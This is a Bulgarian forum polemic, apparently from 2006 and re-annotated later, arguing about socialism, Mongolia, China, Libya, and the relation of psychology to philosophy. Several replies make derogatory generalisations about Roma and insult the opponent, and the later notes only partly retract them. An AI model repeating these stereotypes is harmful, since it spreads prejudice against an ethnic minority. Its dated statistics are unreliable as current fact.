НЕ думай!!! САМО ЕДИН ПРОСТИЧЪК ПРИМЕР - ЧАСТНИТЕ УРОЦИ ПО ФИЛОСОФИЯ - само идея ли са? А ПРЕДОДАВАНЕТО В УНИВЕРСИТЕТИТЕ? А БАН?
"Не я бъркай с Психологията, която ти обяснявах."
Че аз да не съм Ванго!
1. Не я бъркам.
2. До 19 век са една и съща наука.
3. Ти бъркаш онтологията с психологията.
"Пак се изказа неподготвен.... Нормано за теб, нали?"
Колко вярно, ако го съотнесем към Ванго!
НАЛИ ТИ ОТРЕЧЕ АНАЛИЗА НА ВЪЗМОЖНОСТИТЕ И МИ ЗАЩИТАВАШ ФАТАЛИЗМА, ЗАЩО СЕ ПРАВИШ НА ЗАБРАВИЛ?!
__________________________________
"-Сега ако ми вземеш да цвилиш, че в Белорусия има социализъм и да ми отричаш думите на Путин"
То май ти цвилиш, понеже АЙКЮ-то ти е като на кон! КОЙ ГОВОРИ ЗА СОЦИАЛИЗЪМ, БЕ?! Ти май не помниш Белорусия в какъв контекст ти бе посочена и сега като удавник се хващаш за измислени тези. С други думи - като се провали Ванго по една теза, измисля си друга и започва да я опровергава подценявайки напълно паметовите възможности на опонентите и стремящ се да се покаже колко е на "ти" с материята. Жалко е и е смешно, дете!
", който бяха цитирани също по F2, ТЕЛЕСИНКО, АНТЕНА 3, RAI, BBC и полвината свят, съвсем ще се закопаеш:))"
Приличаш на някой, който си мисли, че е Наполеон. Както вече казах Белорусия бе посочена в друг контекст - спомни си какъв!
Колко дълго време Путин е на фокус, а? С императоризиралите се диктатори така става. А Белорусия беше сочена като държава извън ЕС, но със сравнително-добра икономика, по онова време. Напоследък не е в много завидно положение, не само като икономика.
__________
"-А питал ли си се, бе мамо, защо циганите не спазват своите задължения към държавата?"
Питал съм се маминото синченце, питал съм се. И повечето хора са се питали и са си отговаряли.
"Не че ги защитава, всъщност и ние и другите етноси в българската нация не си спазват кой-знае колко задълженията, а искат своите права."
Да де, ама не колкото циганите, които са пословични. Ако искаш да отворим отделна тема и да ми докажеш как циганите и българите са "еднакви"?!
Ами ставаше дума за процентност - наистина при ромите процентът на тези с по-ниско образование и повече престъпност е по-голям от този сред другите - например евреи, татари, каракачани, власи и пр. Обаче това не бива да се пренася върху всички роми/цигани, защото всеки си е отговорен за себе си. Дори и само 20% да са образованите, това са милиони хора, по света, та не бива да се отнасяме лошо към тях, дискриминационно само защото повечето им сънародници, примерно, са с по-ниско или никакво образование.
"А защо никoй в България не си спазва задълженията? А, бе мамо? Ти знаеш ли?"
Дечко, защото го няма социализма и България е един разграбен двор, принадлежащ на САЩ и Турция. (Е, в днешно време, след влизането в ЕС и затягането на контрола не е чак толкова зле, а и зависимостта като тежест се попромени, но като цяло си има полуколониални характеристики, които не са само там.)
"Не, незнаеш, ако знаеше, нямаше да ми разправяш твоите сънища тука."
Ех, най-големият сомнамбул да ми говори за сънища...
"А Държавата няма ли задължения към своята нация?"
ДА НЕ ГОВОРИШ ЗА ТОВА, ЧЕ ТРЯБВА ДА ПЛАЩА ТОКА НА ЦИГАНИТЕ? О, ДА, ИМА СИ ГИ. :)
(По онова време беше нашумяла тази тема; по-сетне имаше репортажи, че има и цигани, които си плащат съвестно, така че да не си вадим дискриминационни заключения.)
"А ти разбираш ли, какво е ПРАВОВО НАКАЗАНИЕ и какво е СВОЕВОЛИЕ?"
СВОЕВОЛИЕТО Е НЕЩО ТИЧПИЧНО ЗА ЦИГАНИТЕ. В ИСТОРИЧЕСКИ ПЛАН ОЩЕ! И откъде накъде ми предпоставяш предикативности, които не съм оспорвал, като контра-теза? Имам предвид, че това е етнос, който никога не е имал държава и като такъв има условия за по-голямо своеволие, особено ако в държавата гостоприемник не се грижат да го включат правилно - повече образование, съблюдаване на законите, хигиенизиране на кварталите и т. н.
"Ти наясно ли си колко видове ПРАВОВИ НАКАЗАНИЯ и колко СВОЕВОЛИ НАКАЗАНИЯ съществуват в правовата лексика? А ти правиш ли разлика между СПРАВЕДЛИВОСТ и ОТМЪЩЕНИЕ?"
Аз това, когато съм го учил, ти си ходил прав под масата! Я като поставяш въпроса ми кажи каква е корелацията на отмъщението и справедливостта? ОЩЕ: можеш ли да ми кажеш за обичайното право, там в какво съотношение са тези две неща? И ПОСЛЕДНО - ОТМЪЩЕНИЕ----САМОРАЗПРАВА----СПРАВДЛИВОСТ, като как се съотнасят?
"И смяташ, че СМЪРТНАТА ПРИСЪДА ще реши всичко?"
ТОВА, ЧЕ НЕ РЕШАВА ВСИЧКО, НЕ ЗНАЧИ, ЧЕ НЕ СТРУВА! (По-късно, както вече съм писал, понаучих доста и притеглих "за" и "против" по-научно, по-осведомено, та реших, че е по-добре да няма смъртни наказания, а да се набляга повече на превенцията и законността.)
"Управление чрез налагане на страх?"
АМИ ЗА ЦИГАНИТЕ КАКВО ДРУГО? ВСЯКАКВИ ДРУГИ ЕКСПЕРИМЕНТИ СЕ ПРОВАЛЯТ!
(Това доста крайно съм го писал по онова време. Обективно погледнато, ако се повиши образоваността и включването им, няма нужда от толкова налагане на страх от закона, защото хората сами ще осъзнаят, че не е добре за тях да се бият с брадви, да крадат, да не ходят на училище и т. н.)
"Комунизъм?..."
КАКВО МУ Е ЛОШОТО НА КОМУНИЗМА?
"я ми кажи, кой ти е психиатъра?"
Този въпрос е трябвало да ти го зададат на тебе, преди да те пуснат да излезнеш в чужбина. На базата на това, че в по-голямата част на света има смъртно наказание, ще ми задаваш кретенски въпроси. Ами ти с твоят тесен балканско-европоцентричен светоглед по въпроса с какво се отличаваш от един откровено-луд?
Поправям се - това, че на много места или на повечето по света има нещо, не го прави задължително оправдано, вярно, правилно, полезно.
"Продължавай да си живееш в света на безграничното. СИЛАТА НА ПРАВОТО не е ПРАВОТО НА СИЛАТА!!!"
Абе аз не живея в такъв свят, но ти живееш в света на патологичното. За клишето със "силата на правото", дето не му знаеш генезиса можеш да си го приереш обратно, ПОНЕ ВСЕКИ ВИЖДА, ЧЕ ИМЕННО ЛЮБИМИТЕ ТИ НЕКОМУНИСТИ СИ СЛУЖАТ С ОБРАТНОТО! Да речем какво е държава, която насилва ООН да приема резолюции, а, ако не стане си инсценира поводи?
(Тук може да се добави и "коалиция на желаещите". ;D По определение, от Уикипедията - "... наименование, използвано след 1990 г. за група от страни, участващи страни във военна или военно-хуманитарна интервенция, за която Съветът за сигурност на Организацията на обединените нации не може да вземе решение."
След това вече всеки, на своя глава, започна да си върши наказателни акции нахлувайки на чужда територия (като Турция), "специални военни операции" (като Русия) и световният мир не отива на добре. Най-големият ужас в момента е Русия, защото излага на опасност целия свят - дори на ядрена такава.)
________
_____________________________________
"-Точка "г" ми изглежда много нефактологически потвърдена, още повече, няма никаква логика..."
Щото не мислиш.
"май ученикът си няма и на идея, какво е това Българско Съединение."
Ванго си няма, за учениците не знам. Знай само, че нарушава международен договор, най-малкото и заради него стават военни действия. Но така е то, когато е за България - може, ама ,ако е за Корея, Виетнам или САЩ не може, а?
(Имам предвид, че де юре е било така, а исторически - стига се до Сръбско-българска война (през 1885 г.), а иначе аз съм голям привърженик на обединенията, а не на разединенията. Естествено, стига да стават по волята ако не на всички, поне на мнозинството.)
______
"-Не приемаш реалността като базова единица, а?"
Аз не я приемам или ти? Пак ще ти повторя:
-Либия /беше "капиталистическа", ужким/
-ЦРУ /нямаха сайт и преписваха от "Раб. дело" и "Дума", ужким/
-Пазарен социализъм /нямаше такова нещо и Енциклопедия Британика не беше писала за него, ужким/.
-Маркс /имаше НЯКОЛКО фабрики, ужким/.
-Диалектиката /само черно и бяло, ужким/
-Политика /значела за "ВСИЧКО", понеже била "поли", ужким/.
-Монголия /не била прескачала капитализма от феодализъм, ужким/
-Белорусия /това ти е за домашно!/
"-А нима не е така?"
Според фатализма ти, който си приел несъзнателно от Маркс, понеже си чел това-онова, но не си знаел, че е от автори, повлияни от Маркс и/или Енгелс сега си най-откровен фаталист, който даже си служи с част от инструментариума на класическия Марксизъм, а се правиш на най-големият анти-комунист тук. Просто комическо отвсякъде!
"та ти сам виждаш, как от ден an ден капитализма измества остатъците от комунижираната китайска икономика:)"
Я МИ ДАЙ НЯКОЛКО ПРИМЕРА, ЗА ДА ВИДЯ КАК. И ИСКАМ ДА ВИДЯ КАК ТОВА СЕ ИЗМЕСТВА ОТ "ПАЗАРНИЯ СОЦИАЛИЗЪМ", който НЕ Е "СТАЛИНИЗЪМ", както ги бъркаш, понякога.
(Това беше по онова време. В днешно време - рефеодализация и реимператоризация, възможно скоро и реимпериализация. Няма вече много изгледи за добруване вбъдеще с този неоимператор.)
"Това не е фатализъм, драги ми бате Гошко, това е РЕАЛНОСТТА НА ИКОНОМИЧЕСКИЯТ СВЕТОВЕН ПОТЕНЦИАЛ."
Икономическият световен потенциал е СУМАРНО ПОНЯТИЕ. КАТО ТАКОВА ТО ИМА РЕАЛНОСТ, но по никакъв начин не означава, че тя е ФАТАЛИСТИЧЕСКА. Я пак обясни за "историческата необходимост", детенце!:)))) Може да се опиташ пак и да направиш анализ на актуализирането на възможностите в действителност! (Досега си остана само с опитите и врескливите изречения от типа на "Обясняваш ми като на 10 годишен!").
-
Ами то "няма край". Отново от 2006, отново с Ванговите незабравими неща. :)
_______
"Даже и най-малоумните хора знаят, че МОНГОЛИЯ МИНА ОТ ФЕОДАЛИЗЪМ КЪМ СОЦИАЛИЗЪМ!"
Като теб? :)
ДА, ПРЕДСТАВЯШ ЛИ СИ - ДОРИ ТЕ ЗНАЯТ НЕЩО, КОЕТО АЗ ЗНАМ, А ТИ НЕ ЗНАЕШ ДОРИ НЕГО. ЗНАЧИ СИ ЕДНО СТЪПАЛО ПО-ДОЛУ ОТ ТЯХ. :)
За Монголия - нали ти беше смешно, че съм казал, че минала от феодализъм към капитализъм и не можело да се променя "еволюцията" и "историческата необходимост", да считаме ли, че си прочел, че Монголия, наистина не е имала капитализъм, след феодализма си и си се разкаял за прибързаните си цинични и неподплатени усмивки или ще стане както с ЦРУ - като ти показахме, че имат сайт, ще си мълчиш и ще се правиш, че не помниш какво си говорил?
"А социализмът? Доказа ли социализмът своите устои, като \"нов световен строй\"???"
ТО НЕ, ЧЕ ИМА ЗНАЧЕНИЕ, но:
1. Китай 1,313,973,713
2. С. Корея 23,113,019
3. Виетнам 84,402,966
4. Лаос 6,368,481
5. Либия 5,900,754
6. Куба 11,382,820
СА СОЦИАЛИСТИЧЕСКИ! Населението на Евр. Съюз е 456,953,258. Можеш ли да ги събереш и да видиш КОЛКО ПОВЕЧЕ ХОРА В СВЕТА ЖИВЕЯТ В СОЦИАЛИСТИЧЕСКИ СИСИТЕМИ, СПРЯМО ЕС? А ДА ВИДИШ КОЛКО СА СПРЯМО ОБЩОТО НАСЕЛЕНИЕ НА СВЕТА?
Целият свят е 6,525,170,264 души.
Според мои изчисления населението живеещо в социалистически държави е НАД 3 ПЪТИ ПОВЕЧЕ ОТ ТОВА НА ЕС! Къде ли ще отиде жалият ти европоцентризъм сега?
Е, светът вече е доста по-голям, а социализмът все по-малко го прилагат и повечето т. нар. социалистически вече или не са такива, или са псевдосоциалистически (неофеодални) или са полусоциалистически.
"Или като нова несъстоятелна и дебилна политика?"
Такава политика е демокрацията, Ванго. Объркал си нещата.
Пояснявам, че съм имал предвид псевдодемокрациите, недоразвитите демокрации, фасадните демокрации и пр.
"Момче, не правиш разлика между ПОЛИТИКА и СВЕТОВЕН СТРОЙ"
НОВ БИСЕР!!!!!!! СВЕТОВЕН СТРОЙ!!!! ЙЕС! С нетърпение очаквам коментарът ти по "световния строй"!!!
", а си тръгнал да ми обясняваш от къде идва думата ПОЛИТИКА..."
Да и аз се чудя има ли смисъл да ти обяснявам. Все пак ти си човекът, който измисли разликата "политика" - "световен строй"!
СПРАВКА В ГУГЪЛ !!!!!!!!!!!
Колко резултати ще намерим за "ОБЩЕСВТЕН СТРОЙ" и за "СВЕТОВЕН СТРОЙ"!
1. "Обещствен строй" - 642 резултата!
[darkred]2. "Световен строй" -САМО 6 РЕЗУЛТАТА! 5 ОТ ТЯХ СА СВЪРЗАНИ С МАРКСОВОТО УЧЕНИЕ!!! 1 е свързан с ВАНГО!
Мойто момче, ти да не си от ВКР-то, бе?[/color]
"Колко жалко за гръмките ти самореклами, приятелю!..."
Колко жалко, че си анти-комунист, а ми преповтаряш Маркс в защита на калпавите си тезички и то най-слабите страни на Маркс - фаталистическите, които са отдавна ревизирани от Ленин и др.! На бате класическия марксист, недоучил той!!! ;)
"В Русия и Китай също преди това не е имало Капитализъм, приятелю!..."
Имало е, ама Ванго не знае. И КАКВО ЗНАЧИ, ВСЕ ПАК, "СЪЩО ПРЕДИ ТОВА"??? ЧЕ СИ СИ ПРИЗНАЛ ГРЕШКАТА ЗА МОНГОЛИЯ ЛИ? АМА НАЛИ НЕ БЕШЕ ВЪЗМОЖНО, БЕ, ФАТАЛИСТЧЕ?!!! Как сега направо и в Русия, и в Китай?! Че ти утре и за Венера ще се изкажеш?!
" Но както виждаш, капитализмът проби и там, след като политическата идеология комунизъм се оказа несъстоятелна"
За Русия - да. В Китай си има социализъм с китайска специфика - нещо, за което можеш да прочетеш в Енциклопедия Британика или в сайта на ЦРУ, в който вече не се съмняваш, да се надяваме!
(И, в крайна сметка, вече си имаме неофеодализиране и неоимператоризиране.)
"- икономически и поитически. Очаквай тоя купон скоро и в Монголия... Там и без това мрат от глад из юртите в пустинята."
Не мога да разбера какво да очаквам в Монголия? И ДОБРЕ ГО КАЗА - МРАТ ОТ ГЛАД ПО ЮРТИТЕ, ЩОТО СА КАПИТАЛИСТИ! (Но ти си мислеше, че са все още социалистическа държава и се издъни с "очаквай същия купон и там; мрат от глад по юрите в пустинята!" Ванго, откажи се... Нямаш си хабер от света. Капиталистически като Монголия ти се струват социалистически, обратното - социалистически като Китай и Либия ти се струват като капиталистически...)
По онова време. Либия, Китай... не са това, което бяха.
"Надявам се да са им останали достатъчно якове за хапване...:)"
Oще едно доказателство за това колко си се заблудил. Монголия не е социалистическа страна.
________________________________
(МЕЖДУДРУГОТО - ИМАШ МНОГО ЯКА СНИМКА):))))
За коя говориш?
________________________________
"-Не е важно, дали на този, който се бунтува (много повърхностна дума)"
Мда, ама щото се опитвам да кодирам мислите си в достъпен за тебе вариант, понеже с декодирането си много зле.
"му е дошло времето, а дали на това, за което се бунтува му е дошло времето. Следи правилно текста!"
Да, де, значи - ФАТАЛИЗЪМ С МЕСИАНСКА ОКРАСКА, НАЛИ?
__________________________________
"-Много просто - не само колабиращата социалистическа икономика бе фактор за упадъка на комунизма. Съхто така и малтретираната обществена психика, физическите унищожителни процесли на милиони човеци...."
Ами по тази логика те са ги изтощили и не е имало условия за нещо такова. Както и да е, значи събра 2-та фактора вече в един. И какво ? Ще си играем на факторна теория ли? Ами хубаво. Ама как това се връзва с неизбежността, фаталистичната ти любима неизбежност? Защо "неизбежно" не падна социализма по времето на Черненко или пък що не пада в Северна Корея?
Отбелязвам, че в Северна Корея е много повече монархично, отколкото социалистическо.
"За пореден път се изцепи на тема "политика". Колко жалко, наистина! Мислех, че си по-интелигентен."
Те хората виждат кой се изцепва (то само му стига на някой да ти види ДВОЙНАТА ГРЕШКА ЗА МОНГОЛИЯ и да се откаже да те чете), но, поне не се опитвай да даваш мнения за интелигентността на хора, които са с няколко класи над теб, защото си жалък така. Казвам ти го за собствено добро.
_____
"-Можем да свалим властта, бате Гошко.\
"С АПРИЛСКО ВЪСТАНИЕ ЛИ?"
- НЕ, С 10-ТИ НОЕМВРИ... А СПОМНЯШ ЛИ СИ ОНЯ СТУДЕН ЯНУАРИ НА 1997?
ХАХАХАХАХАХАХАХАХА!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
На 10-ти ноември стана ПРЕВРАТ, в който НИЕ нямахме думата!!!!!!!!! Както тогава свалиха Живков, така можеше и да свалят само ЛУКАНОВ!
А за зимата - то си стана по време на демокрацията - при демокрацията властта е по-лабава, управляващите са по-несигурни и пр., НО ПАК СИ БЕШЕ ВЪПРОС НА ДОБРА ВОЛЯ ОТ ТЯХНА СТРАНА! Така че, не си мисли, че тълпата, изманипулирана от опозиционери е решила работата. В най-добрият случай беше дело на опозицията, а не на тълпата!
Така или иначе, по-добре е да има демокрация. Продемократичен съм вече.
_______
"-Казах ти, да си дадеш адреса за да ти пратя по пощата едно от изданията, които имам на Волкогонов. Няма да ти цитирам 3 глави тука, я!"
Волкогонов казва ли, че корабите се управляват от пилоти? Ако го казва, ще ти дам не един, а няколко адреса, понеже това е хит, на който не всеки е способен и вярвам, че е само твое дело!
"...Ама ти още ли си тук, бе бате Гошко!:)"
В смисъл? Трябва да ме няма ли? Ммммда, трудно се идържа в контактите с човек, бъкащ от грешки и имащ се за много компетентен, но, като няма други и ти ставаш.
Всичко хубаво ти желая и лека вечер!
Гесер.
________
"-Aбе Курултаев! Аз да съм казвал, че ПОЛИТИКА означава ВСИЧКО? Казах, че ПОЛИТИКАТА Е ВСИЧКО, в смисъл, че политиката определя начинът на съществуване на хората! Колко си ограничен! Язък за безграничните ти мечти!"
Не съм аз ограничен, а ти, понеже каза, че политиката била всичко, понеже била ПОЛИ. Кажи ми сега това ПОЛИ какво значи и как се връзва с КОНКРЕТИЗИРАНОТО ТИ "ВСИЧКО"? Признай си, че обърка ПОЛИ с ПАН и ще ни стане ясно.
"А НЕ СИ ЛИ СПОМНЯШ, ЧЕ ПИСАХ В МИНАЛИЯТ СИ ПОСТИНГ, ЧЕ СЪМ СЪГЛАСЕН С ТЕБ, ЧЕ ПОЛИС ЗНАЧИ МНОГО??? СТИГА БЕ! НЕ МИ КАЗВАЙ, ЧЕ СИ ТОЛКОВА ОДЪРТЯЛ, ЧЕ ТЕ Е ПИПНАЛА СКРЕЛОЗАТА? ..."
Май ти си склерозирал, щом като казваш, че "ПОЛИС" е "МНОГО"... Фактически, още не си научил нещата и ги бъркаш. Погледни пак какво си писал. "ПОЛИС" значело "много"! Хахаха! Ванго, язък, Ванго!
"ИЛИ ПРОСТО НЕ ОТГОВАРЯШ НА ТОВА, КОЕТО НЕ ТИ Е УДОБНО? КАТО ИСТИНСКИ КОМУНИСТ!:))"
Ами отговарям ти - ОТНОВО СИ ОБЪРКАЛ НЕЩАТА! "ПОЛИС" не значи "МНОГО"! А истинските комунисти го знаят това, за разлика от неистинските антикомунисти-фаталисти и недоучили.
_______________
"-Аз ли давам незадоволителни определение бе??"
Ти ми. Колкото и испански въпросителни обърнати знаци да слагаш си ТИ.
"НЕ думай!!! САМО ЕДИН ПРОСТИЧЪК ПРИМЕР - ЧАСТНИТЕ УРОЦИ ПО ФИЛОСОФИЯ - само идея ли са? А ПРЕДОДАВАНЕТО В УНИВЕРСИТЕТИТЕ? А БАН"
АМИ ТОЧНО ДЕ! НАЛИ ОТРЕЧЕ, ЧЕ ЛИПСВАЛА ФИЛОСОФИЯТА КАТО ОБЩЕСТВЕНА ПРАКТИКА?
"-...Нима частните уроци не са съставени от философски теории?"
НИМА ЧАСТНИТЕ УРОЦИ ПО ХИМИЯ НЕ СА СЪСТАВЕНИ ОТ ХИМИЧЕСКИ ТЕОРИИ?
"Нима в университетите не се учи философията само като теория?"
НЕ, ВАНГО, ИМА СИ И УПРАЖНЕНИЯ, ПРАКТИКУМИ, с други думи!
"Я ми кажи, какъв досег има Философията с Материята, освен теоритично?
И ми бил философ! Трънки глогови!"
АМИ ТИ КАКЪВ ЮРИСТ СИ, КАТО ВСЕ ОЩЕ ПИШЕШ НЕГРАМОТНО? "ТеорИтично"... Не ти ли е неудобно един татарин да ти посочва грешките на БЪЛГАРО-СЛАВЯНСКИЯ ТИ КНИЖОВЕН ЕЗИК? И сега за какъв досег има философията с материята. Много елементарен въпрос! КОГАТО ЕДИН ФИЛОСОФ НАПИШЕ ТРАКТАТ НЕ Е ЛИ В ДОСЕГ С МАТЕРИЯТА? А, когато бива СЪВЕТНИК на някой - не влияе ли върху ПОВЕДЕНИЕТО, което е МАТЕРИАЛНО? А, когато ВЪЗПИТАВА децата?
____________________________________
"-БЪРКАШ Я! ХОРАТА ВИДЯХА!"
Не я бъркам, но то един неграмотен селянин не може да очаквам да го разбере. Посочи къде съм объркал, както аз мога да посоча как обърка Монголия със социалистическа и Либия с капиталистическа държава.
".."2. ДО 19 век са една и съща наука."
-ГЛУПОСТИ! ПСИХОЛОГИЯТА НЕ Е САМО ТЕОРИЯ!"
Ами показваш неграмотността си по селски начин!
ЕТО КОЕ НАРИЧАШ "ГЛУПОСТ" (понеже си нямаш хабер от наука и история на науката, да не говорим за интердисциплинарни подходи) :
Отбелязвам, че не е задължително всички селяни да са недоучили или да са неграмотни; това е употребено в разговорно-негативния смисъл на думата (в смисъл - "селяния", "селящина"), а не като обобщение за всички селяни. Има си много интелигентни, просветени селяни.
"
ИСТОРИЯ ПСИХОЛОГИИ
До 19 в. психология не была независимой научной дисциплиной, ее трудно было отделить от чисто абстрактных философских рассуждений. То, что мы сейчас называем психологией, в действительности было частью философии.
"
http://www.krugosvet.ru/articles/62/1006270/1006270a1.htm
Виж и това:
[darkred]"Concepts Are Not a Natural Kind (01/04/ 2004)文件格式: PDF/Adobe Acrobat - HTML 版
Machery, Edouard (ms), “The Birth of the Psychology of Concepts in the Nineteenth. Century”. Margolis, Eric (1994), “A Reassessment of the Shift from the Classical Theory of. Concepts to Prototype Theory”, Cognition 51(1): 73-89. ...
philsci-archive.pitt.edu/archive/00002073/ 01/Concepts_Are_Not_a_Natural_Kind_Edouard_Machery.pdf - 类似网页
"[/color]
Сега ще назовеш ли пак "глупост" ИСТОРИЧЕСКИЯТ ФАКТ, че психологията се отделя от философията едва през 19-ти век???
"ПСИХОЛОГИЯТА Е ДЕЙСТВИЕ, ТЯ Е ПРОДУКЦИЯ, ТЯ Е СИЛА И ФАКТОР!"
Говорим за науката психология ли?
" А ФИЛОСОФИЯТА Е СЪСТАВЕНА САМО С УТОПИЗМИ И НЕСЪСТОЯТЕЛНИ ОПРЕДЕЛЕНИЯ ЗА ОБЕКТИВНОСТТА. "
Колко гениално самоубойство на един неинтелектуалец с подобни слабо-позитивистични определения! Абе, селския, философията е ФОРМА НА КУЛТУРАТА, БЕ!
А единственото несъстоятелно определение си ти, а не това на философията! То за тебе и диалектиката беше само "черно и бяло", нали?
"3. Ти бъркаш онтологията с психологията."
"-А ТИ ИМАШ ЛИ НЯКАКВО ФИЛОСОФСКО ОПРЕДЕЛЕНИЕ, ЩО Е ТОВА "ПСИХОЛОГИЯ"? "
Не ни е нужно философско определение на нещо толкова елементарно, за да добием представа! ПСИХОЛОГИЯТА Е НАУКА ЗА ПСИХИКАТА. Ясно, кратко и точно!
"ЩО Е ТОВА ЛИЧНОСТ?"
За личността има много определения в зависимост от школата и традицията. Няма да ти ги цитирам всичките.
"КОИ СА ГЛАВНИТЕ ВЪ3ДЕЙСТВАЩИ ВЪНШНИ ФАКТОРА НА ПCИХОЛОГИЯТА НА ЛИЧНОСТТА?"
Ще ти ги пресъздам накратко:
- родителите
- възпитателите
- приятелите, съучениците и околните
- средстава за масово осведомяване / в т. ч. и Интернет/
- изкуството
- философията
- религията /при някои/
- общественият строй
_____________________________________
"1. Курултаев, "ако" в историята няма! Фактът е факт! Не бъркай повече историята с философията. Структурално и съдържателно са много различни!"
ЧЕ КОЙ ТИ ГОВОРИ ЗА ТОВА?! ИМЕННО ЗА ФАКТИ СИ ГОВОРИМ, А ТИ ПРИ РАЗНИЩВАНЕТО НА:
- Основания
- Причини
- Поводи
се омешваш тотално и започваш да си служиш с изпадналия инструментариум на класическия марксов фатализъм и ми говориш за "исторически необходимости", "еволюции на задължителни строеве", както и за "световен строй"! Толкова си смешен!
"2. Аз не съм фаталист (можеби за теб съм)!!!"
Ти знаеш ли какво е "ФАТАЛИСТ"? Така и не ми отговори. Преди да научи какво е това, не бързай да се самоопределяш негативно спрямо него. Ползваш марксовият фатализъм, без да знаеш.
"Нали писах отдолу, че Червената приказка свършва със щастлив край - всички народи са освободени и са отново обединени с армията си.:)"
ЕТО ТОВА Е ГЛУПОСТ! И, ЗА РАЗЛИКА ОТ ТЕБ, ЩЕ ОБОСНОВА ЗАЩО:
а/ Даже и да са свободни, това няма връзка. Концепцията ти е ФАТАЛИСТИЧЕСКА. Ама ти не знаеш какво е това и асоциираш примитивно ФАТАЛИЗЪМ със щастие или нещастие! Маркс също говори за щастие, но това не му пречи да е фаталист! За тебе ФАТАЛИЗЪМ на ФАТАЛЕН ли е равно, бе? :))))))))) Леле, ще ме скъсаш!!! Ами, чети повече, бе, момче, поне няма да правиш такива прости грешки за българин!
б/ Народите били свободни!!! Тц-тц-тц! Ако не знаех, че нямаш хабер от света (заради грубите грешки, които допусна спрямо Либия, ЦРУ и Монголия) щях да кажа, че си циник, но не, това твоето не е цинизъм, а обикновена неграмотност. Ха сега гледай колко народи не са свободни и нямат армии (не мога да претендирам за изчерпателност, но поне ще назова толкова, колкото ти не знаеш):
- татари
- чуваши
- башкири
- калмики
- шорци
- алтайски тюрки /алтай кижи/
- тувинци
- буряти
- якути
- чукчи
- алеути
- чеченци
- осетинци
- карачаевци
- балкарци
- караими
- кримчаки
- мордовци
- марийци
- комийци
- кумъки
- ескимоси
...
И това са само народи подвластни на бивша социалистическа Русия!
Знаеш ли колко подвластни има на САЩ и ИНДИЯ, също така? А на Турция?
И на много други, всъщност.
__________________________________
"-Я ми кажи, кой се лови като удавник за сламка и ми смесва философски утопии с исторически факти?"
ВАНГО! И ми борави с фатализъм, без да знае!
"Я ми кажи, кой твърди, че българското съединение е извършено с помоща на чужди войски"
НЯКОЙ, АМА НЕ И АЗ! Я покажи къде съм казал, че е извършенос ЧУЖДИ ВОЙСКИ? Говорехме си, че е извършено с ВОЙСКИ и правим аналогия със СЕВЕРНА КОРЕЯ! А корейците са корейци, така че и там не еставало дума за чужди войски! (От страна на севера). Нещо си сънувал!
", я ми кажи, кой не може да разграничи политиката "социализъм" от философията "социализъм"???"
Ами Ванго! Той даже бърка Пазарния социализъм с капитализма, както и системите на немалки по територия държави като Либия и Монголия.
"Я ми кажи, кой твърди, че психология и философия е едно и също?"
Пак сънища! До 19 век е едно и също, след това не е. Да ти го повторя ли пак?
"я ми кажи, кой твърди, че срещу некомунистите трябва да се използва "оправданa" сила а после скимти, че "комунизма бил хyманен""
Скимти Ванго, понеже айкюто му е подобно на скимтящите бозайници. Иначе като говорим за "оправдана сила":
КОЙ НЕ МИ ОТГОВОРИ ЗА ЧЕХОСЛОВАКИЯ И ИРАК?
"..... дето отрича цели обществени съсловия ли?"
Кое бе? Да не съм отрекъл "СВЕТОВНИЯ СТРОЙ"? :) Хи-хи-хи! Ех, на батко, неосъзнатото марксистче!
"МАЙ ДРУГИТЕ, КОИТО ЧЕТАТ ТОВА СЕГА, ВЕЧЕ СА РАЗБРАЛИ ЗА КОГО ГОВОРИМ... ЗА ТЕБЕ, МИЛИ БАТЕ КУРУЛТАЕВ!"
Точно, че са осъзнали, че те няма у гъбите!
За използване на оправдана сила срещу некомунисти - не си спомням такова нещо, но, да си кажа, че съм за плурализма на мненията, мисленето и ненасилието; не искам никой да бъде репресиран за инакомислие!
___________________________________
"-Съгласен съм с теб - циганите нямат нищо общо със българите."
Ами като нямат общо, защо не продължиш нататък с разсъжденията?
"Дечко, защото го няма социализма и България е един разграбен двор, принадлежащ на САЩ и Турция."
"-Тогава (1944-89) беше още по-разграбен двор (понеже се крадеше пред очите на народа и се лъжеше най-нагло целият народ"
Хм, не толкова много и с такъв интензитет, както след това.
", 99.9% от нацията, че "има светло бъдеще на социализъма""
Ами нали сега ви лъжат, че ще е още по-светло в ЕС? Каква е разликата?
Общо взето, все пропаганда, но, в крайна сметка, ЕСовата наистина се оказа по-близка до реалността.
"а в същото време Политбюро изнесе над 15 млрд долара от България!"
Ами сините после колко изнесоха и разбиха? АМИ ЧАСТ ОТ ТЕЗИ МИЛИАРДИ ЩО ДЕМОКРАТИТЕ ГИ ПРЕЕБ@ХА В ИРАК И ЛИБИЯ?
Явно по онова време малко са ни били занижени стандартите за говорене с доказателства, когато става дума за милиарди. В днешно време, особено след толкова фалшиви новини, стандартите (би трябвало да) са по-добри. Т. нар. проверка на фактите, а не само да се позоваваме на "много хора говорят така".
"Тогава принадлежахме на КГБ."
Вееееееерно, ама сега на ЦРУ + Турция!
След влизането в ЕС зависимостите са с по-разпределена тежест. А и по-късно видяхме, че дори Русия може да прокарва свои интереси.
"Той знаеш ли, кои са задълженията на ДЪРЖАВАТА към СВОЯТА НАЦИЯ в модерният демократически свят на Европейският съюз????"
ТОЙ ЗНАЕШ ЛИ... Не знам "Той знаеш ли"... струва ми се, че някой не говори добре български.
"... Знам, че незнаеш, нали нищо не разбираш от политика:)"
Ама нали говореше за "той", сега пък станах "аз"... Иначе от политика, история, както и правопис/правоговр не разбират само Ванговците.
- Осигуряване на работа / ИСКАШ ЛИ ДА ВИДИШ НИВОТО НА БЕЗРАБОТИЦА В ЕС?
91 European Union 9.40
От 100 човека 9,4 са безработни, с други думи.
За сравнение някои социалистически страни?
36 China 4.20
12 Cuba 1.90
НЕЩО ДА РЕЧЕШ?
(Напоследък, благодарение на неразумната политика, в Китай вече няма ниска безработица.)
"-Осигуряване на социално-слаби"
Навсякъде ги осигуряват.
(Е, понаучихме, впоследствие, че наистина на някои места осигуряването е доста по-добро.)
"-Защита (икономическа, правова, т.н.)"
Ти да си виждал държава, където да няма правова защита? А за икономическата не ми говори. Полша и Унгария след влизането си се чувстват страшно икономически-незащитени. Така, че не зазубряй дефиниции, а гледай дали отговарят на истината.
Унгария, в днешно време, доста се позатрудни, а в Полша е по-добре, но не кой знае колко. Говорим за икономика и за политическа свобода.
Но, така или иначе, щом не са станали като Русия, все още, има надежда за тях. Виж, за Китай, въобще вече не съм сигурен.
"
